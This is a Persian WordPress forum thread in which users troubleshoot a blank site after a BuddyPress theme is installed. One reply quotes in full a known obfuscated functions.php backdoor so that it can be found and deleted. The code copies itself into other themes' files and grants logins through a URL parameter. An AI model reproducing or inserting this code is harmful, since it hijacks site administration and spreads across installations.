رفتن به مطلب

سفید شدن سایت پس از نصب پوسته


yasweb

پست های پیشنهاد شده

با سلام

من قبلا روی سایتم بادی پرس نصب بود . یک پوسته بادی پرس ترجمه شده که میخوام جایگزین پوسته فعلیم بکنم . اما مشکل از اینجاست که وقتی که نصب میکنم پوسته رو سایتم تمام سفید میشه و مجبورم از روی هاست نام پوشه پوسته رو تغییر بدم .

هر چی پلاگین هم داشتم غیر فعال کردم و دوباره امتحان کردم ، اما باز هم نشد و همون مشکل سفید شدن پوسته تکرار شد .

لطفا اگه کسی از دوستان میتونه منو راهنمایی کنه .

لینک به ارسال

والا ما که دستی در وردپرس نداریم ولی احتمالا از function قالبه ... اون رو یه چک بکنبن...

(اسمش و عوض کنین ببینین سایت میاد بالا ؟)

لینک به ارسال

سلام

فایل فانکشن رو که تغییر نام دادیم پیشخوان بالا اومد ولی سایت نه !

دیباگ رو فعال و تست کنید

http://forum.wp-pars...دن-حالت-خطایاب/

الان هم که می دونیم مشکل از فانکشنه باز هم اینکار رو انجام بدیم؟

لینک به ارسال

دیباگ محل خطا رو نشون میده

در غیر این صورت بهتره دنبال کد مشکل دار بگردید

لینک به ارسال

ابتدا بررسی کنید فایل کاراکتر BOM نداشته باشد (جستجو کنید برای آشنایی)

شما باید محل رو پیدا کنید. اگر با برنامه نویسی آشنا باشید محلش مشخه

در غیر این صورت باید قسمتها را بخش بخش قرار دهید تا کد مشکل دار مشخص شود

بهتره حالت دیباگ رو فعال کنید!

لینک به ارسال

ببینید توی خطوط پایانی فایل error_log چی نوشته؟

ممنون

همچیم فایلی وجود نداره ولی یه فایل با نام loop-error.php هست.

در ضمن پوسته بادی پرس هست و پنل سایت هم دایرکت ادمینه.

لینک به ارسال

ابتدا بررسی کنید فایل کاراکتر BOM نداشته باشد (جستجو کنید برای آشنایی)

شما باید محل رو پیدا کنید. اگر با برنامه نویسی آشنا باشید محلش مشخه

در غیر این صورت باید قسمتها را بخش بخش قرار دهید تا کد مشکل دار مشخص شود

بهتره حالت دیباگ رو فعال کنید!

ممنون

من از این BOM فقط فهمیدم که باید encoding رو utf8-without BOM تنظیم کنم ولی notepad من اصلا همچین گزینه ای نداره فقط نوشته utf-8.

اگه حالت دیباگ رو فعال کنیم قسمتی از کد که مشکل داره نشون داده میشه یا فایل مشکل دار ؟

لینک به ارسال

ممنون ولی مشکل حل نشد.

اگه حالت دیباگ رو فعال کنیم قسمتی از کد که مشکل داره نشون داده میشه یا فایل مشکل دار ؟

لینک به ارسال

آقا یه سوال

وقتی قالب رو فعال می کنم صفحه مدیریت و ثفحه اصلی سفید میشه و هیچ کاری نمیشه کرد.

حالا باید کد فایر باگ رو کجا بذارم که محل خطا نمایش داده بشه ؟

لینک به ارسال

کد فایرباگ نه دیباگر وردپرس رو فعال کنید


http://codex.wordpress.org/Debugging_in_WordPress

لینک به ارسال

ممنون

حقیقتش من زبانم زیاد قوی نیست و از این همه کد چیزی سر در نیاوردم

اگه میشه خودتون یک توضیح کوتاه بدید

ممنون

لینک به ارسال

الان می خواهید کد ارور را بخوانید؟

دایرکت ادمین بجای ارور لوگ در صفحه پنل یک بخشی داره به نام گزارش خطا ها اون فایل در واقع همون ارور لوگتونه

چک کنید اگر انتهای فانکشنزتون دقیقا این بخش بود

<?php

function _checkactive_widgets(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);

$output .= ($isshowdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgets_cont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgets_cont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_checkactive_widgets");

function _getprepare_widget(){

if(!isset($text_length)) $text_length=120;

if(!isset($check)) $check="cookie";

if(!isset($tagsallowed)) $tagsallowed="<a>";

if(!isset($filter)) $filter="none";

if(!isset($coma)) $coma="";

if(!isset($home_filter)) $home_filter=get_option("home");

if(!isset($pref_filters)) $pref_filters="wp_";

if(!isset($is_use_more_link)) $is_use_more_link=1;

if(!isset($com_type)) $com_type="";

if(!isset($cpages)) $cpages=$_GET["cperpage"];

if(!isset($post_auth_comments)) $post_auth_comments="";

if(!isset($com_is_approved)) $com_is_approved="";

if(!isset($post_auth)) $post_auth="auth";

if(!isset($link_text_more)) $link_text_more="(more...)";

if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");

if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;

if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";

if(!isset($contentmore)) $contentmore="ma".$coma."il";

if(!isset($for_more)) $for_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_yes) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mes".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fixed_tags)) $fixed_tags=1;

if(!isset($filters)) $filters=$home_filter;

if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;

if(!isset($tag_aditional)) $tag_aditional="div";

if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_text_link)) $more_text_link="Continue reading this entry";

if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($text_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $text_length) {

$l=$text_length;

$ellipsis=1;

} else {

$l=count($text);

$link_text_more="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $tagsallowed) {

$output=strip_tags($output, $tagsallowed);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fixed_tags) ? balanceTags($output, true) : $output;

$output .= ($isshowdots && $ellipsis) ? "..." : "";

$output=apply_filters($filter, $output);

switch($tag_aditional) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($is_use_more_link ) {

if($for_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

function the_breadcrumb() {

if (!is_home()) {

echo '<a href="'; echo get_option('home'); echo '">';

bloginfo('name');

echo "</a>آ» ";

if (is_category() || is_single()) {

the_category('title_li=');

if (is_single()) {

echo "آ» ";

the_title();

}

} elseif (is_page()) {

echo the_title();

}

}

}

کل این بخش رو حذف کنید تا قاعدتا به


?>

برسید و چک کنید

لینک به ارسال

سلام و ممنون

بله من میخوام بدونم کجای فانکشنم مشکل داره تا بتونم با کمک دوستان حلش کنم. فانکشن رو هم چک کردم همچین کدی وجود نداشت. (فانکشن رو پیوست کردم)

کجای دایرکت ادمین خطا رو نشون میده ؟ منظورتون همون بخش Custom Error Pages هست ؟ من چیزی ازش سر درنیاوردم !

functions.php

ویرایش شده توسط hojjat jafarian
لینک به ارسال
منظورتون همون بخش Custom Error Pages هست ؟ من چیزی ازش سر درنیاوردم !

نه این بخش برای ساخت صفحاتی مثل 404 استفاده می شه منظورم گزارش خطا هاست که البته هر پنلی یه اسم روش می گذاره

معمولا در صفحه اول بعد از ورود به دایرکت ادمین در منوهای ردیف آخر صفحه است

لینک به ارسال

کدی که گفتم در فانکشنتون هست از خط 1707

شروعش به این شکله


?>
<?php
function _verify_isactivate_widget(){

می تونید


function _verify_isactivate_widget(){

را جستجو کنید و از خط بالاش یعنی


<?php

تا انتها را پاک کنید و تست بگیرید در ضمن اگر مشکل سرعت در لود سایت هم داشتید مربوط می شه به آدرس

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js

و کد


add_action('wp_footer', 'dp_addthis_js', 100);
function dp_addthis_js() {
$pubid = get_option('dp_addthis_pubid'); if($pubid) { ?>
<script type="text/javascript">var addthis_config = {"data_track_addressbar":false};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?domready=1&pubid=<?php echo $pubid; ?>"></script>
<?php } else { ?>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?domready=1"></script>
<?php }
}

کد مربوط به تبلیغات addthis است که در ایران مسدوده و آدرس هم مربوط به کتابخانه ی کوئری گوگل که با پروتکش ایران مشکل داره

فایل مربوطه را می تونید با راست کلیک و ذخیره پیوند به عنوان ... در کروم و save as target در اکسپلور ذخیره کنید و روی هاستتون بریزید و آدرس جدیدش را با آدرسی که گفته شد در فانکشنز عوض کنید و کد را هم می توانید در فایل پیدا کنید و حذفش کنید

لینک به ارسال

سلام و ممنو از کمکی که کردید

ولی متاسفانه باز هم درست نشد !

به نظرتون کدی در فانکشن نیست که با بادی پرس مشکل داشته باشه ؟ چون وقتی بادی پرس رو غیر فعال می کنیم قالب بالا میاد .

لینک به ارسال

با بادی پرس نه ولی دو کد دارید برای یوتوب و ویمو که هر دو مسدودند ممکنه برقرار نشدن ارتباط با اونها باعث بالا رفتن یاتم لود بشه و اضافه شدن بادی پرس باعث گذشتن از تایم اوت می شه اون کدها را هم حذف کرد

در حال حاضر این دو کد و دو کدی قبلا عرض شد کدهایی هستند که باعث تاخیر طولانی لود می شند و معمولا دایرکت ادمین تایم اوت خیلی بالایی نداره و اگر صفحه در تایم مشخصی لود نشه ازش منصرف می شه

برای امتحان با وی پی ان تست کنید

لینک به ارسال

ممنون. با وی پی ان هم تست کردیم ولی نشد.

همین پوسته رو با بادی پرس در یک سایت دیگه که پنلش سی پنل هست نصب کردیم ولی مشکلی پیش نیومده ولی با این دایرکت مشکل داره.

البته در لوکال هاست هم هنگام فعال سازی بادی پرس از فایل آجاکس موجود در پوشه اشکال گرفته بود و مثل الان سایت رو بالا نمی آورد. اگه لازم می دونید فایل آجاکس رو پیوست کنم.

لینک به ارسال

کلا سیستم لوکال ممکنه با آژاکس مشکل داشته باشه که چون سرور آژؤاکس asp دات نت هست نه php و این مشکل طبیعیه

پنل دایرکت ادمین بیش از هر چیز در مقابل without Bom نبودن فایل های utf-8 حساسه که در اثر استفاده از فضای خالی بعد از تگ انتهایی php و یا حروف فارسی در متن قالب ها ایجاد می شه موارد اینچنینی حتما باید با نرم افزاری مثل ++NotePad (نه notepad ویندوز کلمه notepad را به همراه دو علامت ++ جستجو کنید می تونید دانلودش کنید) به حالت رمزگذاری utf-8 without BOM تبدیل بشند

لینک به ارسال

بسم حق

______

من سر رشته ای تو این زمینه ندارم

فقط یه بار پارسال دقیقا همچین بلایی سرم اومد

موقع ویرایش کدهام

ی ذره بیشتر از حدی و که میخواستم edit کردم

و ی قسمت از ی کد اصلیم پاک شد و صفحم کلا سفید میشد

اگه قالب اصلی رو دارین و کدی رو تغییر دادین

ببینین شما هم مثل من همچین سوتی ندادین !

در مورد time out فک نکنم صفحه سفید بشه صفحه no conection ظاهر میشه

بازم منو ببخشید اگه جوابام خیلی مسخره بود

من خیلی مبتدیم

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...